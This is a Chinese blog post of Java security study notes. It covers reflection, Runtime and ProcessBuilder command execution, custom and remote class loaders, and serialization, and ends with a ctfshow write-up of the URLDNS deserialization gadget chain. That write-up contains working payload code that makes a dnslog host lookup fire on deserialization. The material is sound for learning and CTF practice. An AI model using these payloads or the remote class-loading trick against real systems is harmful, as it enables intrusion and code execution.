最近也是不到两周速通了一遍java基础,感觉比上一次轻松许多,但是一些概念还是有些模糊,但是java安全这块还是得早学为好。所以接下来的文章主要就是一些java安全的学习与心得。
反射
对象可以通过反射获取他的类,类可以通过反射拿到所有⽅法(包括私有)通过java语言中的反射机制可以操作字节码文件,可以读和修改字节码文件,刚开始学习java的时候觉得反射多此一举,但反射可以为java这种静态语言加上动态特性,就像php中的一句话木马那样,给我们提供了入侵条件。
获取类
获取类的方法有很多,这里直接给出4种方法
//反射实际上就是加载类,获取学生类的字节码
Class c1 = Student.class;
System.out.println(c1.getName());//全类名
System.out.println(c1.getSimpleName());//Student
//获取方法2:forName
Class c2 = Class.forName("com.hshdgyq.D34_reflect.Student");
//方法3:利用对象的getClass
Student s = new Student();
Class c3 = s.getClass();
System.out.println(c3.getName());
//方法4:利用ClassLoader加载类,注意forName的静态JVM会装载类,并执行static()中的代码,这里不会
Class c4 = ClassLoader.getSystemClassLoader().loadClass("com.hshdgyq.D34_reflect.Student");
获取构造器、类方法和获取类成员变量方法类似,这里不过多坠诉。
注意forName在初始化时会先调用static{},再调用{},最后才会调用构造函数。
反射创建类对象
newInstance()方法
Class c = Cat.class;
Object o = c.newInstance();
在获取class对象后,可以直接反射创建类对象
invoke(obj,args)方法
方法.invoke(类或类对象),但要注意的是:
- 如果调用这个方法是普通方法,第一个参数就是类对象;
- 如果调用这个方法是静态方法,第一个参数就是类;
Class c = Cat.class;
Method run = c.getDeclaredMethod("run");
Cat cat = new Cat();
//Object cat = c.newInstance();
run.invoke(cat);
setAccessible(true) 暴力反射
当使用的类是无参构造或者构造函数是私有的,那么我们就没有访问权限,在Runtime中可以调用getRuntime这个静态方法获取构造函数,但是如果没提供此类方法又该如何,此时可以利用setAccessible(true)方法禁止访问控制权限从而实现暴力反射。我们以Runtime的rce为例子看一下:
package com.hshdgyq.hello;
import java.lang.reflect.Constructor;
public class Test {
public static void main(String[] args) {
try {
Class c = Class.forName("java.lang.Runtime");
Constructor ct = c.getDeclaredConstructor();
ct.setAccessible(true);
c.getMethod("exec", String.class).invoke(ct.newInstance(),"calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
这里Runtime是无参构造,要进行反射需要禁止权限的访问,通过反射获取exec方法,由于这是一个普通方法,所以invoke中传入的是类对象,执行计算器。

ProcessBuilder
如果一个类没有无参构造函数,并且也没有类似getRuntime这种方法,这里给出如下例子:
String[] command = {"/bin/bash","-c","echo 111>1.txt"};
Class clazz = Class.forName("java.lang.ProcessBuilder");
Constructor getconstructor = clazz.getConstructor(List.class);
Object exec = getconstructor.newInstance(Arrays.asList(command));
((ProcessBuilder)exec).start();
由于ProcessBuilder存在多个重载的构造函数,所以需要在反射方法中明确其类型,比如这里接受的参数就是列表类型,先通过forName反射拿到类,然后获取类构造器,再实例化对象,最后强制类型转换执行。但是一般在漏洞利用时,是不存在会让你强制类型转换的,所以我们可以想到利用invoke直接执行start
clazz.getMethod("start").invoke(exec)
当然也可以传入可变长类型的参数,由于可变长参数在java编译时会编译为数组,此时只需要传入数组即可,这里不再过多演示
public class processBuilderMain {
public static void main(String[] args) throws Exception {
String[][] command = new String[][]{{"/bin/bash","-c","echo 111>1.txt"}};
Class clazz = Class.forName("java.lang.ProcessBuilder");
Constructor getconstructor = clazz.getConstructor(String[].class);
Object exec = getconstructor.newInstance(command);
//((ProcessBuilder)exec).start();
clazz.getMethod("start").invoke(exec);
}
}
类加载机制(ClassLoader)
java在处理文件时,会将java文件编译成class文件,在JVM虚拟机中,解析class文件的二进制内容,最终执行javap生成的字节码。由于java中所有文件都可以看做是一个类,而所有类都必须经过JVM加载后才能执行,这里ClassLoader
的作用就是来加载java类文件。在JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)
、Extension ClassLoader(扩展类加载器)
、App ClassLoader(系统类加载器)
,AppClassLoader
是默认的类加载器,如果类加载时我们不指定类加载器的情况下,默认会使用AppClassLoader
加载类。这里先创建一个Test类,对Test类进行测试:
ClassLoader c = Test.class.getClassLoader();//未指定加载器
System.out.println(c);
System.out.println(c.getParent());
System.out.println(c.getParent().getParent());
输出如下:
sun.misc.Launcher$AppClassLoader@18b4aac2
sun.misc.Launcher$ExtClassLoader@1b6d3586
null
可以看到,在没有指定加载器时,会使用默认的AppClassLoader
类加载器进行加载,我们查看其父加载器,可以看到其父加载器就是ExtClassLoader
,继续取父加载器,返回null,这里需要注意的是,这几个加载器都是属于URLClassLoader
的子类,也就是说父加载器并不是父类,他们不是一个概念。实际上我们可以进入Launcher
类,因为在启动app时会由这个类先来加载所有的类:

不难看出,在创建扩展加载器时,并没有指定父加载器,所以其父加载器为null,但是创建应用加载器时,指定了父加载器为扩展加载器。但是Bootstrap ClassLoader
加载器是可以作为扩展加载器的父加载器的,我们知道Bootstrap ClassLoader
并不属于一个java类,它是由C++编写的,实现与JVM层,我们在尝试获取被Bootstrap ClassLoader
类加载器所加载的类的ClassLoader
时候都会返回null
。所以我们在获取扩展加载器的双亲时,会返回null。这主要是依托于双亲委托机制,先由自己在缓存中查找类是否已经被加载成功,如果没有,则会交给父加载器查找,直到Bootstrap ClassLoader
类加载器,若还是没找到,则会重新返回让子加载器精确查找。
ClassLoader
类有五大核心方法:loadClass
(加载指定类)、findClass
(查找指定类)、findLoadedClass
(查找JVM加载过的类)、defineClass
(定义一个java类)、resolveClass
(链接指定Java类)。我们通过代码来了解一下:

在调用loadClass
方法后,会先调用findLoadedClass
方法,在已经加载的类中查看我们要加载的类是否已经加载,如果没有,且在父加载器不为null的情况下,再次调用父加载器的loadClass
方法,如果父加载器为null,则会调用Bootstrap ClassLoader
加载器,如果还是没有找到,最后会调用findClass
方法,如果最后找到了此类,并且resolve
参数也是在true的情况下,此时会调用resolveClass
方法生成类对象,最后将加载的类返回。这里可以看出,loadClass
方法是利用了双亲委托机制的。
defineClass
方法可以用于自定义加载器,一般步骤:编写一个类继承ClassLoader
类------>然后重写findClass
方法,在findClass
方法中调用defineClass
方法
这里我们先写一个HelloWorld类,在类中实现了一个sayHello的方法,我们自定义加载器加载这个类并调用其方法
//MyClassLoader
public class MyClassLoader extends ClassLoader{
private static String MyClassName = "com.hshdgyq.hello.HelloWorld";
//HelloWorld字节码
private static byte[] bytes = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 52, 0, 31, 10, 0, 6, 0, 17, 9, 0, 18, 0, 19, 8, 0, 20, 10, 0, 21, 0, 22, 7, 0,
23, 7, 0, 24, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0,
15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108,
86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 30, 76, 99,
111, 109, 47, 104, 115, 104, 100, 103, 121, 113, 47, 104, 101, 108, 108, 111, 47, 72, 101, 108, 108, 111,
87, 111, 114, 108, 100, 59, 1, 0, 8, 115, 97, 121, 72, 101, 108, 108, 111, 1, 0, 10, 83, 111, 117, 114, 99,
101, 70, 105, 108, 101, 1, 0, 15, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 46, 106, 97, 118, 97, 12, 0,
7, 0, 8, 7, 0, 25, 12, 0, 26, 0, 27, 1, 0, 11, 72, 101, 108, 108, 111, 32, 119, 111, 114, 108, 100, 7, 0, 28, 12,
0, 29, 0, 30, 1, 0, 28, 99, 111, 109, 47, 104, 115, 104, 100, 103, 121, 113, 47, 104, 101, 108, 108, 111, 47, 72, 101,
108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116,
1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 3, 111, 117, 116, 1, 0, 21, 76,
106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47,
105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 21, 40,
76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 0, 33, 0, 5, 0, 6, 0, 0, 0, 0, 0,
2, 0, 1, 0, 7, 0, 8, 0, 1, 0, 9, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 10, 0, 0, 0, 6, 0,
1, 0, 0, 0, 5, 0, 11, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 12, 0, 13, 0, 0, 0, 1, 0, 14, 0, 8, 0, 1, 0, 9, 0, 0, 0, 55, 0, 2,
0, 1, 0, 0, 0, 9, -78, 0, 2, 18, 3, -74, 0, 4, -79, 0, 0, 0, 2, 0, 10, 0, 0, 0, 10, 0, 2, 0, 0, 0, 8, 0, 8, 0, 9, 0, 11, 0,
0, 0, 12, 0, 1, 0, 0, 0, 9, 0, 12, 0, 13, 0, 0, 0, 1, 0, 15, 0, 0, 0, 2, 0, 16
};
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
if (name.equals(MyClassName)){
return defineClass(MyClassName,bytes,0,bytes.length);
}
return super.findClass(name);
}
}
//test
import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws Exception {
MyClassLoader mc = new MyClassLoader();
try {
Class testClass = mc.loadClass("com.hshdgyq.hello.HelloWorld");
//反射拿到测试类
Object t = testClass.newInstance();
String name = t.getClass().getName();
System.out.println(name);
//拿到方法执行
Method method = t.getClass().getDeclaredMethod("sayHello");
method.invoke(t);
} catch (Exception e) {
e.printStackTrace();
}
}
}
//com.hshdgyq.hello.HelloWorld
//Hello world
通常我们可以利用自定义类加载器,在webshell中加载并调用我们自己所编写了类对象。
URLClassLoader
这是ClassLoade
r的一个继承类,它可以远程加载资源,利用远程加载,我们可以加载远程的jar、class或类来实现远程的类方法调用。
- URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻
找.class文件 - URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
- URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
这里我们先写一个HelloWorld类
public class HelloWorld {
public void sayHello(){
System.out.println("Hello world");
}
}
将其编译为class文件后放进小皮里,这里我直接放进的127.0.0.1,然后远程加载这个class文件
package com.hshdgyq.hello;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class HelloClassLoader {
public static void main(String[] args) {
try {
URL[] url = new URL[]{new URL("http://127.0.0.1/")};
URLClassLoader ld = URLClassLoader.newInstance(url);
Class c = ld.loadClass("HelloWorld");
Object t = c.newInstance();
Method m = c.getMethod("sayHello");
m.invoke(t);
c.newInstance();
} catch (Exception e) {
e.printStackTrace();
}
}
}

可以看到这个类是可以被加载成功的,我们也可以直接调用类中的sayHello
方法。所以如果我们控制了受害机的ClassLoader的基础路径为我们的一个http服务,那么我们就可以随意加载我们服务中的文件,从而实现任意代码执行。
序列化与反序列化
常见漏洞触发点
- JDBC反序列化
- JSON反序列化
基本原理
序列化和反序列化核心原理就是利用ObjectOutputStream.writeObject()将序列化内容写入,利用ObjectInputStream.readObject()将反序列化内容取出,在反序列化过程中,ObjectStreamClass.newInstance()获取并调用离对象最近的非Serializable的父类的无参构造方法 (若不存在,则返回null) 创建对象实例,所以序列化前传入的是有参构造,在反序列化后最终得到的结果将是调用无参构造的结果,如果没有无参构造,则返回null
Animal.java
public class Animal{
private String color;
public Animal() {//没有无参构造将会报错
System.out.println("调用 Animal 无参构造");
}
public Animal(String color) {
this.color = color;
System.out.println("调用 Animal 有 color 参数的构造");
}
@Override
public String toString() {
return "Animal{" +
"color='" + color + '\'' +
'}';
}
}
BlackCat.java
import java.io.Serializable;
public class BlackCat extends Animal implements Serializable {
private static final long serialVersionUID = 2004819497554156226L;
private String name;
public BlackCat() {
super();
System.out.println("调用黑猫的无参构造");
}
public BlackCat(String color, String name) {
super(color);
this.name = name;
System.out.println("调用黑猫有 color 参数的构造");
}
@Override
public String toString() {
return "BlackCat{" +
"name='" + name + '\'' +super.toString() +'\'' +
'}';
}
}
Main.java
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
public class Main {
private static final String FILE_PATH = "./super.bin";
public static void main(String[] args) throws Exception {
serializeAnimal();
deserializeAnimal();
}
private static void serializeAnimal() throws Exception {
BlackCat black = new BlackCat("black", "Black Cat");
System.out.println("序列化前:"+ black);
System.out.println("------------serialization------------");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
oos.writeObject(black);
oos.flush();
oos.close();
}
private static void deserializeAnimal() throws Exception {
System.out.println("------------deserialization------------");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
BlackCat black = (BlackCat) ois.readObject();
ois.close();
System.out.println(black);
}
}
最终输出为:
调用 Animal 有 color 参数的构造
调用黑猫有 color 参数的构造
序列化前:BlackCat{name='Black Cat'Animal{color='black'}'}
------------serialization------------
------------deserialization------------
调用 Animal 无参构造
BlackCat{name='Black Cat'Animal{color='null'}'}
我们来简单解析一下代码,我们定义了Animal的序列化和反序列化方法,new ObjectOutputStream(new FileOutputStream(FILE_PATH))在文件和对象直接创建一个通道,将反序列化数据写入文件,将反序列化数据从文件读出。这里可以看出,即使父类不支持序列化,但是子类支持,那么就可以对子类进行序列化,同时由于反序列化调用了无参构造,所以这里的color被置为了null
另外需要注意的是,如果在一个允许序列化的类中,调用了一个其他不允许序列化的类对象,那么将会序列化失败并报错,此时可以将调用的类加上implements Serializable可以顺利序列化
serialVersionUID
序列化ID,作用是保证版本一致性,在反序列化过程中JVM会对字节流中的序列化ID和本地实体类中的序列化ID进行比较,如果相同,那么进行反序列化,否则报错。没有声明序列化ID,那么就会在java编译class文件时自动生成,只有在同一次生成的class文件中才会有相同的序列化ID,如果修改本地类中的字段则会导致序列化ID不一致,此时可以手动添加相同序列化ID字段即可。
Externalizable
java.io.Externalizable
和java.io.Serializable
几乎一样,只是java.io.Externalizable
接口定义了writeExternal
和readExternal
方法需要序列化和反序列化的类实现
import java.io.Externalizable;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;
public class Persion implements Externalizable {
private static final long serialVersionUID = 3777107612126722884L;
private String name;
private int age;
public Persion(){
System.out.println("Persion constructor called");
}
public Persion(String name, int age){
this.name = name;
this.age = age;
}
@Override
public void writeExternal(ObjectOutput out) throws IOException {
System.out.println("Persion writeExternal");
out.writeObject(name);
out.writeInt(age);
}
@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
System.out.println("Persion readExternal");
name = (String) in.readObject();
age = in.readInt();
}
@Override
public String toString() {
return "Persion [name=" + name + ", age=" + age + "]";
}
}
transient
此方法可以标记成员变量,让其不参与序列化操作,具体:
import java.io.Serializable;
import java.util.Arrays;
public class MyList implements Serializable {
private static final long serialVersionUID = -7373841644572547270L;
private String name;
/*
transient 表示该成员 arr 不需要被序列化
*/
private transient Object[] arr;
public MyList() {
}
public MyList(String name) {
this.name = name;
this.arr = new Object[100];
/*
给前面30个元素进行初始化
*/
for (int i = 0; i < 30; i++) {
this.arr[i] = i;
}
}
@Override
public String toString() {
return "MyList{" +
"name='" + name + '\'' +
", arr=" + Arrays.toString(arr) +
'}';
}
//-------------------------- 自定义序列化反序列化 arr 元素 ------------------
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
//执行 JVM 默认的序列化操作
s.defaultWriteObject();
//手动序列化 arr 前面30个元素
for (int i = 0; i < 30; i++) {
s.writeObject(arr[i]);
}
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
arr = new Object[30];
// Read in all elements in the proper order.
for (int i = 0; i < 30; i++) {
arr[i] = s.readObject();
}
}
}
这里我们不全部序列化,将arr先标记为不序列化对象,然后手动序列化,这样可以大大节省空间,如果全部序列化,那么30号之后全为null
序列化前:MyList{name='hshdgyq', arr=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null]}
------------serialization------------
------------deserialization------------
MyList{name='hshdgyq', arr=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29]}
相关例题
URLDNS
ctfshow-web846考的就是URLDNS,ysoserial基本集成了很多常见的payload,但是我用ysoserial没能打通,甚至构造出来的payload都不一样
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
public class URLDNS {
public static void serialize(Object obj) throws IOException{
ByteArrayOutputStream data =new ByteArrayOutputStream();
ObjectOutput oos =new ObjectOutputStream(data);
oos.writeObject(obj);
oos.flush();
oos.close();
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
};
public static void main(String[] args) throws Exception{
URL url=new URL("https://fbf17d68-0b51-4c35-98f8-0365ba9d3fe0.challenge.ctf.show/");
Class<?> c=url.getClass();
Field hashcode=c.getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.set(url,1);
HashMap<URL,Integer> h = new HashMap<URL,Integer>();
h.put(url,1);
hashcode.set(url,-1);
serialize(h);
}
}
现在我们来详细解读一下URLDNS这条链子
把github上ysoserial先拿下来,然后看到有pom.xml说明是个maven项目,下载一下pom中的依赖,然后找到入口点为GeneratePayload(但是这里实际上每个payload都有入口函数可以直接执行),在设置中配好参数

先看看链子生成代码:
public Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
这里触发点就是put方法,先实例化HashMap和URl,将url传入hashmap,我们跟进这个put方法


发现调用的是putVal,这里传入的是url哈希、url以及value,由于反序列化触发的是readObject这个方法,我们来到这个方法
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);
reinitialize();
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
可以看到,此方法同样调用putVal这个方法,继续跟进hash

可以看到key是又调用了自己的hashcode,继续跟进hashcode

这里的hashcode方法实际上就是通过判断hashCode的值,来作出不同的策略,不为-1直接返回hashCode,否则将会重新计算hashCode,前面生成链子的代码中是将hashCode设置为了-1,所以这里实际上就是重新计算了这个key的hash,那么继续跟进hashCode

先通过getProtocol获取了传入url的协议类型,然后通过getHostAddress来获取主机名,也就是进行dns查询,我们来看看他的用源码
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}
这里getByName方法就是获取到ip地址,但是生成链子的代码中,重写了getHostAddress方法
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
直接返回了null,为什么呢?我们注意到如果不重写这个方法,那么在序列化的过程中将会触发getByName这个方法从而导致DNS请求被触发,反序列化时此方法不再被触发。
这条链子基本就结束了,那么反序列化链子流程:
HashMap.readObject() -> HashMap.putVal() -> HashMap.hash()
-> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName
那么可以根据ysoserial的原理,自己写一条链子出来:
序列化:
package ysoserial;
import org.junit.Test;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class CiTest {
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exp.bin"));
oos.writeObject(obj);
}
public static void main(final String[] args) throws Exception {
HashMap h = new HashMap();
URL u = new URL("http://u7u3sa.dnslog.cn");
Class c = u.getClass();
Field f = c.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(u,1111);
h.put(u,1);
f.set(u,-1);
serialize(h);
}
}
反序列化:
package ysoserial;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class ddTest {
public static Object unserialize(String f) throws Exception {
ObjectInputStream ios = new ObjectInputStream(new FileInputStream(f));
Object obj= ios.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
unserialize("exp.bin");
}
}
只需要通过两次对hashCode赋值,第一次不为-1执行put后此时会返回直接返回hashCode,不会计算hashCode,那么就不会触发NDS查询,在put方法后再改为-1,此时进行反序列化会触发DNS查询。
先后执行序列化代码和反序列化代码后:

这条链子的目标就是最终能够通过反序列化触发DNS查询,实际上就是通过反序列化触发的readObject方法一步一步诱导执行getByName方法,所以还是挺简单的。
Comments | NOTHING